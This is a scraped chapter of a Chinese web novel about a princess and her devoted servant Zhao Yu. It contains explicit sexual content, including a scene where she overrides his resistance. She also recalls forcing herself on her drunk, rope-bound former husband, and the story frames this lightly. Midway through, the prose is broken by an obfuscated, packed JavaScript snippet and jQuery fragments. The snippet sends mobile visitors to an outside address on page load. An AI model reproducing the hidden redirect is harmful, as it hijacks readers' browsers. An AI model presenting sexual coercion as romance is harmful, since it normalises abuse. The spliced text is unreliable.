18. [锁] [此章节已锁]

作品:《明月予我 gb

    豆蔻感觉自己真是倒了血霉了,都已经过了亥时了本来以为能美美一觉睡到天明来着,没想到半路杀出来个赵遇。


    百般不情愿,每次他自己要纠缠殿下总是要拉上她这个无辜的人,豆蔻嘴里骂着将他沐浴的水备好。


    他还真是好命啊。殿下对他也不差,让他用的还是自己的浴桶。


    想到这,豆蔻浑身一激灵。实在是无法想象他平时那冷冰冰的模样和殿下在一起那种时的表情。


    ——


    氤氲的水雾,他将腰上的蹀躞拆下来放在一旁的架子上。


    紧接着身上已经被血玷污的外衫褪去后露出里面白色的内贴。只不过现在不是白色的了而是被血染成红褐色。


    层叠的衣物随着他的动作掉落在地,只见一双白皙又带着紧实的肌肉的长腿站在地上,他的脚背可见筋骨,皮肤白中透着淡红色。


    随着他整个人坐进浴桶中,水位也涨高没过他的胸口,温热的水包裹着他的躯体,像是瞬间被穿过身体各处那种被严丝合缝拥抱着的感觉,被完全占有。


    他这才将头上网巾与发冠拆卸下来,浓密的长发顺着后颈散落在脊背。


    赵遇的体型是纤细却不瘦弱的,他的骨架反而是比较大的,随着呼吸锁骨凹陷处更加清晰,他的手臂放在壁沿上。


    他细心的清理着身体的每一处,生怕遗漏了哪里,他要把自己洗的干干净净的,这样才能有资格侍奉明月。特别是他的那张脸,他用手扶去脸的的血迹,一遍又一遍,她一开始喜欢上的应该是自己的这张脸吧,又或者是他的身子,不过现在这都不重要,只要还能吸引她就够了。


    从前他还年轻的时候,那时候明月的明月还没有去西越,还在他身边的时候,他们总是偷偷的晚上相会。几乎是三天两头的。


    那时的他还是宫中最年轻的一批人,只是慢慢的人总会变老,精力也不如从前旺盛。他想更努力的讨好明月,她的目光从来没有为谁停留过。到现在他也不敢确定明月只属于他,明月不属于任何人。


    没关系,赵遇是属于明月的。


    有时他也会变得不自信,但是他会努力的让他变成明月喜欢的样子。岁月将他变得褪去当年的青涩,逐渐变得成熟,但是是不是也会让他变得古板无趣呢,他能接受明月对他做任何事情。


    他会迎合,会讨好。


    赵遇低头看向自己保持的还算不错的身材,不知为何有些莫名的紧张。一定是最近太忙了,她才这么久都没有主动叫自己来过。


    赵遇似乎在自我安慰。


    难道不是自打她从西越回来之后就没有主动邀请过他么。刚回来的那次,还是他压抑不住心底的思念冒着被发现的风险去寻她的。


    其实今晚也是他主动来的。


    其实除了一开始对他透露出兴趣玩了那么几次之后,都是他主动把自己送上来的。


    可那也只是好奇心吧,现在恐怕也只是好奇心,想到这赵遇又有些难过起来。


    “赵遇。”


    熟悉的声音让他浑身一颤,他吓了一跳。只听见“吱”的一声,门被打开。


    他的心怦怦的跳着。她怎么会忽然进来呢?他想要遮住自己丑陋的身体,可怎么可能逃过她的眼睛。


    况且她应该应该比他自己更了解,了解他的身体。


    “殿下等等,别进来。”他着急的喊着,想用什么遮住,可却忽然发现他忘记拿干净的衣物进来了。


    浴桶里的水溢出来,搅动着。他的反应太激烈,水声也像他本人一样摇晃着。她听见里面的动静忍不住笑起来。


    “至于那么心急么,赵遇。本宫不过是来看看小狗有没有乖乖的清理自己。”


    她慢条有理的走到他跟前,眼睛自然是没办法控制。这样没办法,谁叫他这副姿态。


    美丽的事物往往更吸引人,既然在眼前那就要好好学会欣赏,李祯不会和自己过意不去。


    那目光带着让人极为不适的穿透感,像是凝视。


    她的视线落在他惊慌失措的面孔上。平时的赵遇肤色并不是特别的白皙,但在水里却不同。


    出水芙蓉,她想到这个词。


    洗去脸上污渍的他露出最动人的模样,长久的泡在温热的水里让他的唇变得殷红。


    她慢慢的走过去,将整齐叠放好的衣物发在一旁。


    她玩味看向他,谁知道赵遇转过身去只留给她一个脊背,“谁……谁心急了。殿下怎么这时候来了,奴还没洗干净呢。”


    “是么,这么久都没有洗干净。看来自己是不太会洗啊,需要帮忙么?”赵遇感觉的到她已经来到自己背后,心几乎提到嗓子眼,心也开始没出息的止不住狂跳。


    他小声的反驳,“不用殿下亲自来,奴自己可以的,奴又不是孩子。这种事情不需要帮忙。”


    怎么赵遇有时候挺聪明的,但某种事儿上反倒是迟钝的要死。不过她不介意慢慢的教他。


    当然也包括教他如何看眼色。


    他就是太紧张了,脑袋一片空白才没听懂话里的意思的,已经好久没有在一起过了,他感觉又回到了很久之前还很青涩的心理。


    李祯伸出食指抬起来放在他的他凸起的脊骨轻轻的向下滑,他被忽如其来的触碰刺激到瞪大眼睛,虽然他赶紧咬住下唇但还是溢出一丝轻哼。


    “嗯……”


    他反应过来,脸一下子红起来,他终于转过身瞪着她像是埋怨。赵遇不想承认刚刚的声音是从他口中发出来的,于是气急败坏道,“殿下!你做什么?”


    忽然生气的样子也很是可爱呢。


    “不是你不让本宫看你的么,这不是也能好好的转过头来。怎么,一个奴还能给主子露出这样的表情。赵遇,你很生气?”他转过身,李祯刚刚轻抚的食指也随即停在半空。


    她用食指挑起他的下巴。


    赵遇的长发随着扬起散落在身后,被水打湿有些则是贴在脸颊和肩膀。


    湿漉漉的小狗也是挺可爱的。


    赵遇听见她质问的语气一下子像是泄了气的球一下子瘪下去,瞬间没了刚刚那样的气势,他也不敢再说什么了只闷闷的憋出来一句,“奴不敢。”


    “不过没关系啊,赵遇。现在洗干净了等会还要再洗一次。”她笑的得意,凑过去在他耳边小声的用调侃的语气说着。


    赵遇这才后知后觉的反应过来刚刚她的那些行为是什么意思。


    “不行!就算是殿下再急也要等回去再……”他的话被打断,他轻哼一声变了音调。只感觉耳垂一阵濡湿的感觉的感觉。


    他的声音变得绵软,渐渐的没了力气,“殿下怎么这样,别……别这样。”


    他反抗的语气是那么轻飘飘的,毫无说服力。


    耳廓被绕着圈子轻扫过,他轻颤着,感觉到痒意越发强烈,鼻息温热的气流像是挠痒痒般,他感觉到自己变得特别奇怪,这种感觉不太对劲了。


    “别哪样?本宫似乎并没有对你做什么过分的事情。”


    比起她接下来要做的事情,现在的行为的确不算过分。


    他的手紧紧的扒着浴桶的边缘,指节因为用力变得泛红。耳旁打湿的发丝紧贴着他的胸口,随着呼吸越来越急促而微微起伏着,她的看着赵遇的神情开始变得不自然。


    他的关节和指腹都染上一淡淡的粉,像是带着甘甜的粉雏菊一样清甜,让人想要把他连根扯下来在掌心把玩着,看它被揉皱、捏碎挤出汁水来。


    他紊乱的呼吸像是在催促她,快将它摘下来吧,将它狠狠地弄的一团乱吧。


    赵遇伸出手臂迟疑了一下随后慢慢抱住她的脖颈,随着他的力道李祯向前倾倒着。


    浴盆的水由于他忽如其来的动作摇摆着,水溢出更多,像是他焦躁不安的心极度的渴求想要平稳下来的方法却求得无门。


    他只能仰望着那一剂良药。


    “都怪你,本宫袖子都湿了,你打算怎么办。”她像是一个极有耐心的猎人慢慢的看着诱饵上钩。


    鱼儿焦躁不安的看着钩子上的小虫,随知道要下去会将它刺穿彻底让自己命丧黄泉。


    那是最危险的,近在咫尺的诱饵。他忍不住,明知结局却还是张口咬上去。


    赵遇感觉自己从来没这么大胆过,他闭上眼睛手臂环住了李祯,像是下定决心要赴死一样。


    骂他吧,亦或者是会惩罚他也好。他要为自己争取哪怕一点可能。


    李祯只没想到他会这样主动。以往的每次他都努力讨好自己,但是那些都是本能的欲望驱使。


    她脑海中闪过那天他失落的表情以及那句话。


    面前的赵遇禁闭着眼睛,睫毛宛如扑火的飞蛾般颤抖着,两人都鼻尖蹭在一起,他试探着亲吻着她的唇角,她下意识的抬手轻轻放在他胸口想要推开,只见他眉头微不可察的皱了一下,惊觉的睁开眼。


    她听到,“殿下,求您不要推开奴了。哪怕就这一次,好不好?”


    他的语气带着熟悉的祈求,想到之前他抱怨的那句从未吻过她。李祯还是停下了手上的动作。


    赵遇也是抱着试探的心理,没想到她竟真的没舍得推开,他心里一阵狂热的沸腾。原来她的心里还是有一点他的吧,只是她自己还没发现。


    这个想法从他脑海里蹦出来,像种子一样生根发芽,那嫩芽朝着那点光拼命生长着,一旦溢出苗头就开始疯狂的生长着企图变成藤蔓一样攀附上去。


    可光是抓不住的,它也无法触碰到,只能更加挣扎着朝着那高高在上的月光自毁式的奉献自己的全部。


    他终于如愿。


    感觉到她的动作,他终于由闭上眼顺唇角将自己急切的整个凑过去却又轻柔的吻着,他紧张的厉害。


    这样的吻为她保留太多年,虽然那些事情他很擅长,但最简单的吻他却不会。他只会贴着不知道如何继续,却不肯离开。


    李祯觉得他有些可爱的有些过头了,既然他不会那就由这个为他启蒙的人来教他吧。


    他不敢看,所以一直紧闭着眼。赵遇能感受到那放大的视线正盯着自己,一旦睁开就能对上。


    怎么办,现在她肯定会笑话她吧。这样的事都做不好,可是他也从来没学过。


    都怪她。


    唇被一片柔软撬开,他感觉到的时候无意的往后躲,却被一只手有力的按住。他委屈的哼了一声,便顺从的张开任由那外来者的入侵。


    白云飘在空中,柔软的棉花。他轻飘飘的躺在上面,眼前白茫茫的看不清。


    (此处自行想象……已尽力)


    赵遇瞬间塌下来大喘着气,嘴角挂着溢出的晶莹。


    她笑着舔舔唇,看着他凌乱的样子。“这可是你自找的啊,赵遇。笨的要死,头一次见快把自己憋气憋死的。”


    他眼角不知何时已经泛红,被她笑话,赵遇气恼的瞧着她像是哀怨的怨夫一样。


    她感觉莫名其妙,“不是你自己要亲的么?”


    李祯还没明白怎么回事,他盯了好一会冷不丁莫名来了句,“殿下好熟练啊,比起奴果真……比起来,你还真是自愧不如。”


    李祯明白过来,他这是吃醋呢。


    “没事啊,亲多了你自然也会跟本宫一样熟练。”她故意往赵遇心口捅刀子。


    他从浴桶里爬出来,带出的水溅在地上,他赤着脚一丝不着的,早就忘记了最开始她进来时的羞耻心。


    “殿下的意思,除了臣以外。还吻了别的人么。”


    “你该不会以为本宫和你一样吧。”


    和他一样不论身心都只属于她一人么,后面的话她没说出口,可这话里嘲弄的语气还是让他难受的喘不上气来。


    李祯也走到他面前,“看看你现在的样子,不是很好玩么?”


    “来,给本宫叫两声。”


    她抬手挠了挠他的下巴,又恢复了以往那种随意的神情,像是逗□犬儿般。


    原本那眼尾还只是泛着红,听见她毫不在意的说出这样是话一点也不在乎他的心情,她分明是看出来了却还是不当回事。


    还让他叫两声?真当他那么低贱么。想到也有人像自己那样,就像她对待自己那样也对待别人。


    甚至,那人她还先吻了那人。


    “那人是谁?是奴认识的人么。”他强忍着想要哭出来的心情还不死心的追问着。


    这人他还确实是认识的,只不过两人没见过面。李祯甚至没有打算隐瞒,主要是没必要。


    她点头,“此人你确实知晓名讳。”


    他心中又急又气,她怎么可以这样轻飘飘的说出这种话来。


    难道她一点也不在意么?


    那人最好祈祷永远也不要让他见到,不然他不敢保证自己不对那人做出什么冲动的事来。


    他可不是真的不敢做那种事情,只是在她面前假装罢了,他敢砍了那李卫之当然也敢砍别的人。


    他不想让任何小苍蝇接触到李祯,哪怕她主动的也不行!


    然而很快她的话就让他方才的怒火上浇了盆冷水,还没燃起来就彻底浇的连火星子都不剩。


    “他啊,是西越王——宇文邕”


    这不是李祯的前夫么,他怎么会不认识。是啊,他们俩做过夫妻,恐怕不只是亲过,更加亲密的事情也肯定做过的。


    但是凭什么啊?自己在身边尽心尽力伺候了那么多年,反倒让他先……


    赵遇看不到现在自己的表情所以他定然是不知道,现在的样子有多矛盾。他想是不想让对面的人看透自己的内心,于是刻意想露出一个不在意的笑来,就像她那么不在意一样轻松。


    可惜他做不到。


    呈现在他脸上的反倒是比哭还要难看的笑,他牵动着嘴角。


    却发现最先反应过来的是他的眼。


    他像是再也绷不住,泪腺不受控制的开始运作。分泌出违抗本人意志的眼泪来。


    赵遇变脸实在是太快了,快到她还没反应过来,刚刚说完那宇文邕的名字他就已经开始掉眼泪。


    至于吗?


    她还是先□的他呢,要是真那么计较也应该是宇文邕忮忌他吧。


    这可不行,她今天还没开始美美的享受呢,他要是真伤心了一会她下手的时候可就不太方便了。


    李祯到现在也还只是考虑的那样的事。


    不过也不是不可以,反抗起来也别有风情,赵遇现在是对她言听计从的,好久没体验他不从的时候了。


    她走上前去握住他的手腕,赵遇忽然开始挣扎起来,这次不是方才那种屈意逢迎了而是真的反抗。


    “别碰奴了!不要。”


    赵遇耍起脾气像是一条打挺的鲤鱼倔强,李祯留给他的耐心本来就犹如空瓶,他还想反抗么?


    还真以为生气了就能骑在她头上了。他也不想想他有什么资格,起码是她真心喜欢的人才配。


    在不在意自己的人面前发火只让对方厌恶你。


    他明显被忮忌蒙蔽了眼睛,忘记了他现在的地位了。


    李祯拽不过他,毕竟他是男人,虽然没宇文邕那么健壮,但是她也比不过他的力气。于是她不再拉着他的手腕,反而趁着他挣扎的时候狠狠地推了一把他的胸膛。


    借着他挣扎的力道,赵遇还没反应过来已经往后倒去,扑通一声掉进浴桶里去了。


    李祯迈开步子不顾及自己身上的衣袍直接坐进去。


    浴桶本来就不足以容纳两个人的位置,现在多了个李祯,两个人几乎是严丝合缝的贴在一起,被这么挤着,他伸不开手脚自然也没办法逃出去。


    赵遇哭的抽搐着,将自己的头转过去,任凭她怎么掰都转过来了。


    没关系,做这种事也不需要他转过来。


    赵遇感觉到不妙可已经来不及了,他僵直着身躯贴在木质的浴桶。脊背完全暴露在空气中,他想要转过来阻止的时候已经完全无法动弹。


    像是柔软的柳条拂过山,它一路滑过精瘦的腰,绷紧的姿态让他腰腹的肌肉始终未能放松下来。


    “真是没出息啊,赵遇……”耳旁传来她愉悦的笑声,“刚才那副贞洁列夫的样子,本宫还以为起码你有点骨气呢。没想到你的反应比你本人更诚实。”


    赵遇想要反驳,但她说的都是实话,他好恨自己没出息的样子,他明明在生气啊,怎么会这种时候也。


    冰冷的指□在其中牵动着,千丝万缕。赵遇紧绷着声音已经染上哭腔。


    “别……殿下,您不能这样对我。”他没忍住轻哼出声溢出的声音传到她耳畔反倒像是告诉她这是继续的信号。他再也忍受不了带着哭腔求饶。


    “求您,轻一些。”


    太久没遭受这样的对待,像是忍受不住想要求饶,想要从她的手下逃过。


    但那是不可能。


    那样灵活的,凶狠的手法让他明白过来,她是故意这样折磨自己。他这是在为刚才的行为买单。


    他怎么能忘了呢?她怎么可能轻易放过自己,猎物最忌讳在捕手面前露出弱点啊。


    可怕的是李祯是已经有些日子没修她那圆润的指甲了。


    “疼。”他绷紧的背忽然瑟缩起来,这动作落在她眼里像是故意闪躲。


    他说完时候就又后悔了,猎物并没有换来捕手的善待,而是换来更加残酷的招数,山根也忍受不住震天骇地的摇晃。


    顷刻间,山摇地动。


    河边的溪流就被卡在突破口,只是还差一些意识。它变得温柔起来,每每压过阀口惊奇一阵波澜。那种奇妙的感觉是他至今都迷恋的,最温柔又最强烈的。


    每次把到绝境的时候,又猛然飞起后深深跌入谷底,起伏不定像是悬在人心口的一把刀不知何时落下。


    到了阈值之后□□而出汇进汪洋。


    “真是……就说了,弄脏了本宫的手呢。”她的手从浴桶里出来,赵遇没了力气喘着气哭的更厉害了。


    她怎么可以这样呢,刚刚经历过的人是容易委屈的,他就是那种人。


    停止的哭声再次传进她的耳朵,而且比刚刚还要大声。


    李祯觉得有些吵。


    她让开些位置,这次再拽的时候没有反抗。恐怕不是因为不想,而是没了力气。


    他无力的靠在李祯的脖颈,软绵绵的像是被抽走筋骨的鱼不再动弹。


    那安心的,让他熟悉的气味如同一味灵药安抚着他的心灵。他没有再继续说责怪的话而是紧紧的抱住她。


    “吵死了,你能不能别哭了。”


    “赵遇,你知道你的声音现在多难听么,自己是听不到么?”李祯的话让他一下噤声,她心道还挺管用。


    谁知道哭声变成了压抑的呜咽,他过了好一会道,“奴的声音比起宇文邕,比起他更难听么?”


    这都是什么跟什么啊……


    这时候提宇文邕,她脑海里浮现出他的脸。像是开始思考这个问题。


    “不许想他!奴不问了。”他的手臂收紧几分略带不安。他不敢确定李祯和宇文邕发生过什么,又是什么原因和离的。但是她完好无损的回来,起码说明宇文邕对她不简单。


    李祯有些无语。


    这问题不是他自己问的么,她并没有绕过这个话题而是回答到,“你与他怎么比较呢,二人完全是不同的类型。”


    那宇文邕是什么类型,谁更好呢,赵遇不自觉的往下联想起来,但是这也让更加不安了。


    “声音本宫形容不来。其实没在意这些细节,那时候他喝醉了不太清醒。本宫只顾着自己开心了,哪里在意那些。”


    赵遇警惕的看着她,像是警觉的猫,警觉的时候往往把耳朵贴在脑袋后面眼睛瞪得极圆,但瞳孔却像是针一样细。


    “喝醉了,那是谁主动的呢?”


    想到宇文邕,李祯也说不上是什么心情。他是个性格很强烈鲜明的人,爱憎分明。行事鲁莽,完全不会瞻前顾后。


    他也从不考虑别人的感受。他是个有领袖意识的人,喜欢指点旁人,却从来不反思自己的自恋型人格。


    同时他也是个极其传统的封建男人,因此他和李祯并不对付。


    两人那八年的日子也并非外界所传的那般相敬如宾,恩爱有加。反而更像是一对仇人,奇怪的是能拉扯这么久才分开。两人互相报复纠缠,算是什么关系呢?


    能过这么久某种程度上来讲也是奇迹了。每次争吵都是不欢而散,都是宇文邕先闭上嘴的,说是容忍也不为过。


    能过这么多年没有秘诀,就一个忍字。


    就是因为这件事不对付才彻底受不了的吧。


    “是他醉了,本宫强迫的。你也知道有的人喝醉是发疯,有的人喝醉的时候却意识不清楚或者根本没力气。他应该是属于后者。”


    李祯这样形容着,说到这些她感觉自己有些像小人了,他是真的接受不了。


    而不是赵遇那样,挣扎之后最后起码会从,也不算的是强迫。


    宇文邕清醒的时候那是不可能的,他连喝醉的时候偶尔还会下意识的激烈的反抗。若不是李祯早就用绳子将他束缚起来,根本控制不了他。


    他那么有自尊心的人,又在意男人面子的人。在清醒后意识到发生的事情已经超出他能接受的范围,已经超出可控的状态。


    八年里压抑的情绪终于找到一个小口撕扯开爆发出来。


    但宇文邕那家伙也奇怪,按道理来说应该立刻拔剑砍掉她的脑袋。


    但,宇文邕并没有那么做。


    而是直勾勾的盯了她很久,表情是形容不上来的古怪。


    但他一向那样难以捉摸,李祯也不会去浪费心思研究一个男人的性格和心思,那是不值得的。精力要放在有用的事情上面。


    任何男人都不配她用心。


    赵遇听完她说的话动了动唇也不知道说什么,起码是在宇文邕不知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195626|196641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道的情况下发生的。


    和他不一样,那么也可以想成没有发生的吧。


    没有记忆就等同于没有,他这样安慰自己。


    “所以他受不了这种事情,便于殿下一刀两断了?”


    宇文邕受不了是最好的,最好是彻底接受不了,这样才没有回头的可能性。


    他反正他赵遇是受得了的。


    分就应该分的彻底些。


    “嗯。他那样的人自然是要和本宫一刀两断的。”她这样道。


    赵遇思索着什么有些出了神,不过李祯又继续说道,“宇文邕是不吃回头草的人。”


    “这种事情放在他身上是绝不可能发生的,你放心吧。”


    赵遇听见这句话没有放松下来。


    事情说的太满往往不好啊,事满则溢的道理是个人都清楚。


    这种不安的感觉变得更强烈。


    不过还好李祯这已经从西越回来了。


    这辈子不出意外的话,应该永远都见不到他了。


    但人生就是有太多意外打的人措不及防……


    折腾这么一番,这澡赵遇算是白洗了。最后已经没有力气再动,李祯跟着在水里泡了个透。


    水也彻底凉了。


    二人又换水一起洗了个澡,等回到寝殿的时候不知已经多晚了。


    赵遇换上了一身石青色的圆领袍,比起平日要松散的多。他将李祯送至寝殿外,左思右想内心挣扎了许久还是说出那句话。


    “殿下,今日是奴无理取闹了。刨根问底的问殿下从前的事,若是惹了殿下不高兴,殿下也莫要多责怪。刚刚奴也是过激了才说了那样的话。”


    李祯抬手打了个哈欠。


    “嗯,本宫没你那么小心眼,没往心里去。你早些回去歇息吧,今天折腾你这么久怕是累坏了。”


    不知道李祯有没有听进去他的话,他已经习惯了李祯的态度。


    以为他已经交代完没用的废话,李祯抬脚推开门却感觉到一双手紧紧的搂住她的腰身。


    他的脑袋贴在李祯的背上,开口说话。那声音贴着背听起来有些沉闷不清,“殿下。”


    怎么还没完没了,李祯以为刚刚欺负他一番就能翻篇了事,这人越来越难缠了。


    看来以后要对他冷淡一些了。是不是现在的态度让他产生了不该有的错觉才导致他这样。


    “还有什么事。”她不耐烦的皱起眉,虽然语气不明显,但敏感的赵遇即便不看也知道她现在的表情。他没有松开手,反而又收紧几分。


    “今晚奴可以留下来陪殿下一起睡么。”他试探的把刚刚回来想了一路的话说出口。


    她回答的很果断,“不能。”


    这回答不是赵遇想要的,他撒泼耍赖到,“为何不能?”


    把他留宿下来太冒险了,最近发生了这么多事情,况且她与赵遇干爹的关系从微妙的疏远到如今的暗中的叫板。


    这种时候应该行事更加谨慎才是,任意的一个把柄现在都会被人揪住不放,然后无限的放大,就看谁先露出破绽了。


    李祯肯定是不想先露马脚的那个,李卫之这件事她好不容易才借机扳回一局,算得上是天时地利人和缺一不可。


    这也稍微能从赵德完全优势的境地里硬生生挤出一片喘息的余角,并且惊喜的是她现在似乎可以划分出自己的一块肉来。


    赵遇是她的奴才,却又是赵德的儿子。


    如果他不是赵德的儿子就好了,那样或许她对赵遇的态度又不一样了。不过那样很可能她现在也不会继续搭理他了。


    这到底是命中注定的缘分,还是无数个巧合凑在一起的偶然呢。


    赵遇啊赵遇,要拿你怎么办好呢。


    “你现在胆子大了啊,不怕被人知道了,你一点也不担心后果么。反正被发现了受罚的也是你,不是本宫。冒那样的风险为这样的小事值得么?”


    “不会的。奴做事从来不留后患,您就放心吧。如果是因为担心这些,您大可把心放肚子里去。”


    她动摇了。


    他做事确实从来都小心谨慎,连最初那次差点被李璋发现也安然无恙。见她沉默,赵遇知道事情还有回旋的余地。


    他乘胜追击道:“奴陪着您等您睡着就走了,不会等到天亮的时候。没有任何人会知道的,以前不都是这样。从来也没被发现过么。”


    李祯还是松了口,她自己没有发现这样的次数越来越多,她对赵遇也愈加放纵起来,他不断试探着她的边界,早就把她的一次次底线降低。


    “下不为例,看在今日你伺候的不错的份儿上便通融你那么一次,不过你不要得意。”


    赵遇心满意足的松开手,跟着李祯进了去。


    殿中一片漆黑,李祯牵着他的手摸黑往里走,他也乖乖的任由她牵着。仿佛完全相信她,就说人不能太掉以轻心了。


    赵遇砰的一声撞在床柱上,倒是李祯自己已经坐在床上。


    “殿下,奴撞着头了。”


    她没事不就得了,还好摸黑有他在旁边探路,要不然磕着的不就是她自己了么。“你自己不看着点,本宫有什么法子,你跟本宫说有何用。本宫的眼睛又不是夜明珠,你的路子你都看不清想让本宫替你看。”


    赵遇不再多说,还想着她会关心一下,然后揉着他的额头说些好话,看来完全是他多想了。


    真是不该对她有这种期待。


    李祯把外面的衣服脱下来掀开被褥钻进去没顾着旁边的赵遇。他也识趣的自己将脚上的皂靴脱下来顺着那一丝露出缝隙的被角钻进去。


    被褥里冷冰冰的,李祯的是易寒的体质经常是手脚冰凉的。这才过了初秋就已经变得明显。


    赵遇乖乖的躺在一旁,他并没有睡而是偷看旁边的李祯。


    李祯平躺着两只胳膊伸在外面平放在身侧,两只手交叠着放在肚子上。很严谨的睡姿。但却让赵遇烦躁起来,她这样无懈可击的样子他想抱着都无从下手了。


    平稳的呼吸声,赵遇以为李祯这是已经睡着了,他小心翼翼的用手撑着侧面翻了个身生怕发出声音被她发现。


    好在她一动不动的,这也让赵遇送了口气。他伸出手把她的左手边拉开然后心满意足的蜷曲着腿侧躺着靠在她怀里。


    听见她的心跳声他感觉格外安心。


    赵遇是缺乏安全感的,父母去世后他常常半夜被噩梦惊醒,在漆黑的伸手不见五指的夜里难以再安心的入睡。


    但靠在她怀里赵遇就不怕了。


    李祯并未入睡,只是觉得如果让他发现了还会被他缠着说一些乱七八糟没有的废话,她只是不想再理赵遇,毕竟她已经很困了。


    刚刚她才是出力的那个人。


    只是没想到装睡之后发现某人偷偷摸摸钻进怀里的动作。


    赵遇的体温很高,热乎乎的跟个火炉子一样。从前冬天冷的时候她总会叫他把被窝给暖窝她再躺进去,然后当然是毫不留情的把他给赶走。


    每次他都会露出委屈的表情。


    抱着没一会就热的她心烦了,只是更叫人烦的是被褥下面和上面完全是两个温度,冰火两重天。


    李祯的脚还是冷的没知觉,就从回来路上那一会就冰凉了,大晚上外面确实冷这也没办法。


    她不动声色的把脚往赵遇腿中间伸去。


    赵遇好久没这么安稳放松过了,迷迷糊糊的就快睡着。


    他还以为是是做梦。


    梦见自己在水里摸鱼,河水凉的他一激灵。


    他无意识的轻哼一声,脸颊蹭蹭她的胸口。


    顿时,李祯感到温暖起来,大腿是最柔軟的地方,他滚烫的大腿包裹着她冷冰冰的脚。


    赵遇清醒过来,才发现根本不是在河里摸鱼,也不是做什劳子的梦。


    李祯感觉身旁的人微微动了动。大概是冷到他,赵遇没睁眼就开始想要躲开把腿松开,她却用腿锁着最终没能让他逃走。


    他睁开眼。


    “本宫还以为你睡着了,看来没有。”他听见李祯的声音反倒又将腿夹紧几分。


    刚刚快睡着的时候下意识的整个人缠在她身上,用手抱住她的腰。现在他意识到自己太冒犯了,不过也来不及了。


    “其实本来是快睡着了。殿下的怀里太温暖了,忍不住就……”李祯打断他的话,“是挺温暖的,但是本宫好像只是答应你睡在这,没说允许动手动脚的吧。”


    赵遇反驳起来舌头却不听使唤的打了结,“奴……奴何时……何时动手动脚了!殿下可不能栽赃奴。”


    她看向整个缩在他怀里的赵遇,手紧紧抱住她,腿也不自觉的缠上了压着。确实算得上某种意义上的“动手动脚”。


    “这怎么能算!不算的。奴只是想给殿下暖暖身子。”这人还挺聪明,马上说是为了她。


    赵遇的姿态有些滑稽,他块头可比李祯大多了,李祯大概才到他胸口下面。但就是这样的身高差也能让他硬生生的缩在她怀里靠着。像是雏鸟靠在母亲到怀抱里。


    这让她想到李璋小时候也经常是这样的姿势,不过李璋只敢小心翼翼的拉着她的手,却不敢钻进她怀里。


    这点他们俩不一样。


    若是让李璋瞧出一点她不舒服的情绪,亦或者是他任何请求被她拒绝一次他以后都不会提。


    睡觉这件事也是一样。


    还记得过了他十岁生辰之后她义正言辞的和他提出来以后不能再陪着他睡觉,男女有别。


    李璋也只是乖乖的点点头,当晚就自己回去睡了。之后也没再提起过。


    不过他胆子很小,一开始分开不放心,李祯也放心不下让旁人去看着。于是专门便派豆蔻去守了他几晚。


    据豆蔻说,刚分开那几晚经常听见李璋偷偷的哭。李祯听见豆蔻的话还经常反思自己是不是对他太残忍了些,他那么小就没了母亲,这件事上应该循序渐进,而不是一下子让他接受。


    不过李璋从未在她面前提起,她也便渐渐的放下心来,她感觉自己担心过度了,他没有提起应该就是没多大事的。


    李祯抬手摸赵遇的侧脸,他趁机蹭了蹭她的掌心。


    赵遇可就不一样了,每次她拒绝什么,他就会变着法子的缠着你,跟你软磨硬泡的,哪怕当下没有立刻答应他也会时不时提起一下,直到你答应下来才算是完事儿。


    这招也确实奏效,没过多久她就会渐渐松口,包括今晚他提出留宿的请求。


    比如现在,她感觉这也是小事懒得计较,便又来口到,“算了,你老老实实睡吧,反正一会你就要走。”


    赵遇心满意足的又闭上眼,继续睡过去。


    这也让赵遇明白一个道理。


    有些事还是要去争的。


    如果不争就不知道何时叫旁人占了去。


    “殿下对奴真好。”睡着之前她听见赵遇带着得意的语气小声在她耳旁开口。